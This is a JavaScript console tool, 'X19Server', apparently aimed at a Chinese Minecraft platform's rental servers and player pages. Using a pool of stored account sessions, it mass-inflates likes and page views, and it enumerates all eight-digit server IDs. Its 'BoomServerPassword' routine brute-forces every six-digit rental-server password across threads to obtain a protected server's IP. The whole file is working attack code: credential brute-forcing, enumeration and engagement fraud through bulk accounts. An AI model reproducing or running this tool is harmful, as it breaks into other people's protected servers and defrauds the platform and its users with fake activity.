Main.js

import * as maid from "maid-js";
import { x19, io } from "./Maid-Wraper/lib/index.js";
import * as readline from "readline";

function getCurrentDate() {
  var date = new Date();
  var sign2 = ":";
  var year = date.getFullYear();
  var month = date.getMonth() + 1;
  var day = date.getDate();
  var hour = date.getHours();
  var minutes = date.getMinutes();
  var seconds = date.getSeconds();
  var weekArr = [
    "星期一",
    "星期二",
    "星期三",
    "星期四",
    "星期五",
    "星期六",
    "星期天",
  ];
  var week = weekArr[date.getDay()];
  if (month >= 1 && month <= 9) {
    month = "0" + month;
  }
  if (day >= 0 && day <= 9) {
    day = "0" + day;
  }
  if (hour >= 0 && hour <= 9) {
    hour = "0" + hour;
  }
  if (minutes >= 0 && minutes <= 9) {
    minutes = "0" + minutes;
  }
  if (seconds >= 0 && seconds <= 9) {
    seconds = "0" + seconds;
  }
  return (
    year +
    "-" +
    month +
    "-" +
    day +
    " " +
    hour +
    sign2 +
    minutes +
    sign2 +
    seconds
  );
}

function log(data, enter) {
  process.stdout.write(`\r[${getCurrentDate()}] ${data}${enter ? "\n" : ""}`);
}

async function ServerLikeMain(ServerName, Count, IsLike) {
  const UserData = await io.ParseString("./maid/config/UserData.json");
  const client = new maid.MaidClient({
    logLevel: false,
    mpayDumpData: UserData[0],
  });
  await x19.Login(client);
  const ServerInfo = await x19.GetServerInfo(client, ServerName);
  client.logout();
  if (ServerInfo.code === 16 && ServerInfo.message === "您搜索的服务器不存在") {
    console.error(ServerInfo);
    throw ServerInfo;
  }
  const CountProcessResponse = await io.CountProcess(
    "./maid/config/ServerLikeCount.json",
    ServerInfo.Name,
    ServerInfo.ID,
    Count,
    IsLike
  );
  for (let i = 1; i <= Count; i++) {
    const client = new maid.MaidClient({
      logLevel: false,
      mpayDumpData: UserData[i + CountProcessResponse],
    });
    await x19.Login(client);
    const ServerLikeResponse = await x19.ServerLike(
      client,
      ServerInfo.ID,
      IsLike
    );
    client.logout();
    if (
      ServerLikeResponse.code === 0 &&
      ServerLikeResponse.message === "正常返回"
    ) {
      log(`已为租赁服 ${ServerInfo.Name} 点赞 ${i} 次`, false);
    } else if (
      (ServerLikeResponse.code === 100001 &&
        ServerLikeResponse.message === "网络异常") ||
      (ServerLikeResponse.code === 22 &&
        ServerLikeResponse === "您的账号在另一处登录")
    ) {
      i--;
    }
  }
  process.exit();
}

async function PersonalPageViewMain(UserName, Count) {
  const UserData = await io.ParseString("./maid/config/UserData.json");
  const client = new maid.MaidClient({
    logLevel: false,
    mpayDumpData: UserData[0],
  });
  await x19.Login(client);
  const UserInfo = await x19.GetUserInfo(client, UserName);
  client.logout();
  if (UserInfo.code === 16 || UserInfo.code === 10122) {
    console.error(UserInfo);
    throw UserInfo;
  }
  const CountProcessResponse = await io.CountProcess(
    "./maid/config/PersonalPageViewCount.json",
    UserInfo.Name,
    UserInfo.ID,
    Count,
    true
  );
  for (let i = 1; i <= Count; i++) {
    const client = new maid.MaidClient({
      logLevel: false,
      mpayDumpData: UserData[i + CountProcessResponse],
    });
    await x19.Login(client);
    const PersonalPageViewResponse = await x19.PersonalPageView(
      client,
      UserInfo.ID
    );
    client.logout();
    if (
      PersonalPageViewResponse.code === 0 &&
      PersonalPageViewResponse.message === "正常返回"
    ) {
      log(`已为用户 ${UserInfo.Name} 浏览家园 ${i} 次`, false);
    } else if (
      (PersonalPageViewResponse.code === 100001 &&
        PersonalPageViewResponse.message === "网络异常") ||
      (PersonalPageViewResponse.code === 22 &&
        PersonalPageViewResponse === "您的账号在另一处登录")
    ) {
      i--;
    }
  }
  process.exit();
}

async function PersonalPageLikeMain(UserName, Count, IsLike) {
  const UserData = await io.ParseString("./maid/config/UserData.json");
  const client = new maid.MaidClient({
    logLevel: false,
    mpayDumpData: UserData[0],
  });
  await x19.Login(client);
  const UserInfo = await x19.GetUserInfo(client, UserName);
  client.logout();
  if (UserInfo.code === 16 || UserInfo.code === 10122) {
    console.error(UserInfo);
    throw UserInfo;
  }
  const CountProcessResponse = await io.CountProcess(
    "./maid/config/PersonalPageLikeCount.json",
    UserInfo.Name,
    UserInfo.ID,
    Count,
    IsLike
  );
  for (let i = 1; i <= Count; i++) {
    const client = new maid.MaidClient({
      logLevel: false,
      mpayDumpData: UserData[i + CountProcessResponse],
    });
    await x19.Login(client);
    const LoginAccountInfo = await x19.GetLoginAccountInfo(client);
    const PersonalPageLikeResponse = await x19.PersonalPageLike(
      client,
      LoginAccountInfo.ID,
      UserInfo.ID,
      IsLike
    );
    client.logout();
    if (
      PersonalPageLikeResponse.code === 0 &&
      PersonalPageLikeResponse.message === "正常返回"
    ) {
      log(`已为用户 ${UserInfo.Name} 点赞主页 ${i} 次`, false);
    } else if (
      (PersonalPageLikeResponse.code === 100001 &&
        PersonalPageLikeResponse.message === "网络异常") ||
      (PersonalPageLikeResponse.code === 22 &&
        PersonalPageLikeResponse === "您的账号在另一处登录")
    ) {
      i--;
    }
  }
  process.exit();
}

async function HomeViewMain(UserName, Count) {
  const UserData = await io.ParseString("./maid/config/UserData.json");
  const client = new maid.MaidClient({
    logLevel: false,
    mpayDumpData: UserData[0],
  });
  await x19.Login(client);
  const UserInfo = await x19.GetUserInfo(client, UserName);
  client.logout();
  if (UserInfo.code === 16 || UserInfo.code === 10122) {
    console.error(UserInfo);
    throw UserInfo;
  }
  const CountProcessResponse = await io.CountProcess(
    "./maid/config/HomeViewCount.json",
    UserInfo.Name,
    UserInfo.ID,
    Count,
    true
  );
  for (let i = 1; i <= Count; i++) {
    const client = new maid.MaidClient({
      logLevel: false,
      mpayDumpData: UserData[i + CountProcessResponse],
    });
    await x19.Login(client);
    const HomeViewResponse = await x19.HomeView(client, UserInfo.ID);
    client.logout();
    if (
      HomeViewResponse.code === 0 &&
      HomeViewResponse.message === "正常返回"
    ) {
      log(`已为用户 ${UserInfo.Name} 浏览家园 ${i} 次`, false);
    } else if (
      (HomeViewResponse.code === 100001 &&
        HomeViewResponse.message === "网络异常") ||
      (HomeViewResponse.code === 22 &&
        HomeViewResponse === "您的账号在另一处登录")
    ) {
      i--;
    }
  }
  process.exit();
}

async function HomeLikeMain(UserName, Count, IsLike) {
  const UserData = await io.ParseString("./maid/config/UserData.json");
  const client = new maid.MaidClient({
    logLevel: false,
    mpayDumpData: UserData[0],
  });
  await x19.Login(client);
  const UserInfo = await x19.GetUserInfo(client, UserName);
  client.logout();
  if (UserInfo.code === 16 || UserInfo.code === 10122) {
    console.error(UserInfo);
    throw UserInfo;
  }
  const CountProcessResponse = await io.CountProcess(
    "./maid/config/HomeLikeCount.json",
    UserInfo.Name,
    UserInfo.ID,
    Count,
    IsLike
  );
  for (let i = 1; i <= Count; i++) {
    const client = new maid.MaidClient({
      logLevel: false,
      mpayDumpData: UserData[i + CountProcessResponse],
    });
    await x19.Login(client);
    const HomeLikeResponse = await x19.HomeLike(client, UserInfo.ID, IsLike);
    client.logout();
    if (
      HomeLikeResponse.code === 0 &&
      HomeLikeResponse.message === "正常返回"
    ) {
      log(`已为用户 ${UserInfo.Name} 点赞家园 ${i} 次`, false);
    } else if (
      (HomeLikeResponse.code === 100001 &&
        HomeLikeResponse.message === "网络异常") ||
      (HomeLikeResponse.code === 22 &&
        HomeLikeResponse === "您的账号在另一处登录")
    ) {
      i--;
    }
  }
  process.exit();
}

async function BoomServerPasswordMain(ServerName, NumThreads) {
  const UserData = await io.ParseString(
    "./maid/config/BoomServerPasswordUserData.json"
  );
  log(`租赁服 : ${ServerName}`, true);
  const client = new maid.MaidClient({
    logLevel: false,
    mpayDumpData: UserData[0],
  });
  await x19.Login(client);
  const ServerInfo = await x19.GetServerInfo(client, ServerName);
  if (ServerInfo.code === 16 && ServerInfo.message === "您搜索的服务器不存在") {
    console.error(ServerInfo);
    throw ServerInfo;
  }
  log(`租赁服ID : ${ServerInfo.ID}`, true);
  const BoomPasswordPerThread = Math.ceil(999999 / NumThreads);
  for (let i = 0; i < NumThreads; i++) {
    const start = i * BoomPasswordPerThread;
    const end = Math.min((i + 1) * BoomPasswordPerThread - 1, 999999);
    BoomServerPassword(client, ServerInfo.ID, start, end);
  }
}

async function BoomServerPassword(client, ServerID, start, end) {
  for (let i = start; i <= end; i++) {
    const Password = String(i).padStart(6, "0");
    const BoomPasswordResult = await x19.GetServerIP(
      client,
      ServerID,
      Password
    );
    log(`正在测试密码 : ${Password}`, false);
    if (
      (BoomPasswordResult.code === 22 &&
        BoomPasswordResult.message === "您的帐号在另一处登录") ||
      (BoomPasswordResult.code === 100001 &&
        BoomPasswordResult.message == "网络异常")
    ) {
      i--;
    } else if (
      BoomPasswordResult.code === 0 &&
      BoomPasswordResult.message == "正常返回"
    ) {
      log(`找到正确密码 : ${Password}`, false);
      process.exit();
    }
  }
}

async function ScanServerMain(Way, NumThreads) {
  const UserData = await io.ParseString(
    "./maid/config/ScanServerUserData.json"
  );
  const client = new maid.MaidClient({
    logLevel: false,
    mpayDumpData: UserData[0],
  });
  await x19.Login(client);
  const ScanServerPerThread = Math.ceil(99999999 / NumThreads);
  for (let i = 0; i < NumThreads; i++) {
    const start = i * ScanServerPerThread;
    const end = Math.min((i + 1) * ScanServerPerThread - 1, 99999999);
    ScanServer(Way, client, start, end);
  }
}

async function ScanServer(Way, client, start, end) {
  if (Way) {
    let ServerListData = [];
    let ServerList = await x19.GetServerList(client, 0);
    if (ServerList.code === 16 && ServerList.message === "未获取到服务器") {
      console.error(ServerList);
      throw ServerList;
    }
    let Count = Math.floor(ServerList.total / 30);
    for (let i = 0; i < Count; i++) {
      log(`第 ${i + 1} 次获取租赁服列表`, false);
      ServerList = await x19.GetServerList(client, 30 * i);
      for (const key in ServerList.List) {
        ServerListData.push(ServerList.List[key]);
      }
      await io.StringifyString(
        JSON.stringify(ServerListData),
        "./maid/config/ServerListData.json"
      );
      if (i === Count - 1) process.exit();
    }
  } else {
    for (let i = start; i <= end; i++) {
      const ServerName = String(i).padStart(8, "0");
      log(`正在扫描租赁服 : ${ServerName}`, false);
      const ServerInfo = await x19.GetServerInfo(client, ServerName);
      if (
        (ServerInfo.code === 22 &&
          ServerInfo.message === "您的帐号在另一处登录") ||
        (ServerInfo.code === 100001 && ServerInfo.message == "网络异常")
      ) {
        i--;
        continue;
      }
      console.log(`${getCurrentDate()} 已扫描到租赁服 : ${ServerInfo}`);
    }
  }
}

async function CheckAccountRealName() {
  const UserData = await io.ParseString("./maid/config/UserData.json");
  for (let i = 0; i < UserData.length; i++) {
    log(`登录第 ${i} 个账号`, false);
    const client = new maid.MaidClient({
      logLevel: false,
      mpayDumpData: UserData[i],
    });
    await x19.Login(client);
    client.logout();
    /*
    await client
      .login()
      .then((data) => {
        log("当前是第" + i + "个账号");
        client.logout();
      })
      .catch((e) => {
        if (e.response.code === 30000) {
          i--;
        } else if (e.response.code === 27004) {
          log("[40;34m删除了第" + i + "个账号[0m");
          UserData.splice(i, 1);
          fs.writeFileSync("./UserData.json", JSON.stringify(UserData));
          fs.appendFileSync(
            "./DeleteUserDataRecord.txt",
            "删除了第" + i + "个账号\n"
          );
          i--;
        }
      });*/
  }
}

async function TestLogin() {
  const client = new maid.MaidClient({
    account: "",
    password: "",
  });
  await client.login();
  console.log(
    await client.doRequest(
      client.x19Session.releaseInfoPE.CoreServerUrl,
      "/pe-user-detail/get",
      {
        body: {},
      }
    )
  );
}

function Main() {
  //  io.Init("./maid/config");
  const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
  });
  rl.question(
    "[1] 租赁服点赞\n[2] 主页浏览\n[3] 主页点赞\n[4] 家园浏览\n[5] 家园点赞\n[6] 获取租赁服信息\n[7] 获取租赁服IP\n[8] 获取主页信息\n[9] 获取家园信息\n[10] 爆破密码\n[11] 扫描租赁服\n[12] 检测实名\n[13] 退出脚本\n[14] 测试登录\n请输入您要使用的功能 : ",
    (answer) => {
      switch (Number(answer)) {
        case 1:
          rl.question("请输入租赁服 : ", (ServerName) => {
            rl.question("请输入数量 : ", (Count) => {
              rl.question("请输入是否点赞 : ", (IsLike) => {
                ServerLikeMain(
                  ServerName,
                  Number(Count),
                  Boolean(Number(IsLike))
                );
              });
            });
          });
          break;
        case 2:
          rl.question("请输入玩家名 : ", (UserName) => {
            rl.question("请输入数量 : ", (Count) => {
              PersonalPageViewMain(UserName, Number(Count));
              rl.close();
            });
          });
          break;
        case 3:
          rl.question("请输入玩家名 : ", (UserName) => {
            rl.question("请输入数量 : ", (Count) => {
              rl.question("请输入是否点赞 : ", (IsLike) => {
                PersonalPageLikeMain(
                  UserName,
                  Number(Count),
                  Boolean(Number(IsLike))
                );
              });
            });
          });
          break;
        case 4:
          rl.question("请输入玩家名 : ", (UserName) => {
            rl.question("请输入数量 : ", (Count) => {
              HomeViewMain(UserName, Number(Count));
            });
          });
          break;
        case 5:
          rl.question("请输入玩家名 : ", (UserName) => {
            rl.question("请输入数量 : ", (Count) => {
              rl.question("请输入是否点赞:", (IsLike) => {
                HomeLikeMain(UserName, Number(Count), Boolean(Number(IsLike)));
              });
            });
          });
          break;
        case 6:
          rl.question("请输入租赁服 : ", async (ServerName) => {
            const UserData = await io.ParseString(
              "./maid/config/GetInfoUserData.json"
            );
            const client = new maid.MaidClient({
              logLevel: false,
              mpayDumpData: UserData[0],
            });
            await x19.Login(client);
            const ServerInfo = await x19.GetServerInfo(client, ServerName);
            client.logout();
            console.log(ServerInfo);
            process.exit();
          });
          break;
        case 7:
          rl.question("请输入租赁服 : ", (ServerName) => {
            rl.question("请输入租赁服密码 : ", async (Password) => {
              const UserData = await io.ParseString(
                "./maid/config/GetInfoUserData.json"
              );
              const client = new maid.MaidClient({
                logLevel: false,
                mpayDumpData: UserData[0],
              });
              await x19.Login(client);
              const ServerInfo = await x19.GetServerInfo(client, ServerName);
              const ServerIPResponse = await x19.GetServerIP(
                client,
                ServerInfo.ID,
                Password
              );
              client.logout();
              console.log(ServerIPResponse);
              process.exit();
            });
          });
          break;
        case 8:
          rl.question("请输入玩家名 : ", async (UserName) => {
            const UserData = await io.ParseString(
              "./maid/config/GetInfoUserData.json"
            );
            const client = new maid.MaidClient({
              logLevel: false,
              mpayDumpData: UserData[0],
            });
            await x19.Login(client);
            const UserInfo = await x19.GetUserInfo(client, UserName);
            if (UserInfo.code === 16 || UserInfo.code === 10122) {
              console.log(UserInfo);
              process.exit();
            }
            const PersonalPageInfo = await x19.GetPersonalPageInfo(
              client,
              UserInfo.ID
            );
            client.logout();
            console.log(PersonalPageInfo);
            process.exit();
          });
          break;
        case 9:
          rl.question("请输入玩家名 : ", async (UserName) => {
            const UserData = await io.ParseString(
              "./maid/config/GetInfoUserData.json"
            );
            const client = new maid.MaidClient({
              logLevel: false,
              mpayDumpData: UserData[0],
            });
            await x19.Login(client);
            const UserInfo = await x19.GetUserInfo(client, UserName);
            if (UserInfo.code === 16 || UserInfo.code === 10122) {
              console.log(UserInfo);
              process.exit();
            }
            const HomeInfo = await x19.GetHomeInfo(client, UserInfo.ID);
            client.logout();
            console.log(HomeInfo);
            process.exit();
          });
          break;
        case 10:
          log("Warning : 此功能易出错", true);
          rl.question("请输入租赁服 : ", (ServerName) => {
            rl.question("请输入线程数量 : ", (NumThreads) => {
              BoomServerPasswordMain(ServerName, NumThreads);
            });
          });
          break;
        case 11:
          rl.question("请输入方式 : ", (Way) => {
            rl.question("请输入线程数量 : ", (NumThreads) => {
              ScanServerMain(Boolean(Number(Way)), NumThreads);
            });
          });
          break;
        case 12:
          CheckAccountRealName();
          break;
        case 13:
          log("已退出脚本", false);
          process.exit();
        case 14:
          TestLogin();
          break;
      }
    }
  );
}

const Version = "V2.1.2";
const VersionCode = "20231005";

console.log("\x1B[40;37m┌───────────────────────────────────────────┐\x1B[0m");
console.log("   \x1B[40;34m   _  ________  ____                    \x1B[0m");
console.log("   \x1B[40;34m  | |/_<  / _ \\/ _____ _____  _____ ____\x1B[0m");
console.log("   \x1B[40;34m _>  < / /\\_, _\\ \\/ -_/ __| |/ / -_/ __/\x1B[0m");
console.log("   \x1B[40;34m/_/|_|/_//___/___/\\__/_/  |___/\\__/_/   \x1B[0m");
console.log("   \x1B[40;34m                                        \x1B[0m");
console.log("\x1B[40;37m└───────────────────────────────────────────┘\x1B[0m");
console.log(
  `\x1B[40;33mX19Server ${Version} (${VersionCode})\x1B[1m\x1B[40;37m\x1B[0m`
);

Main();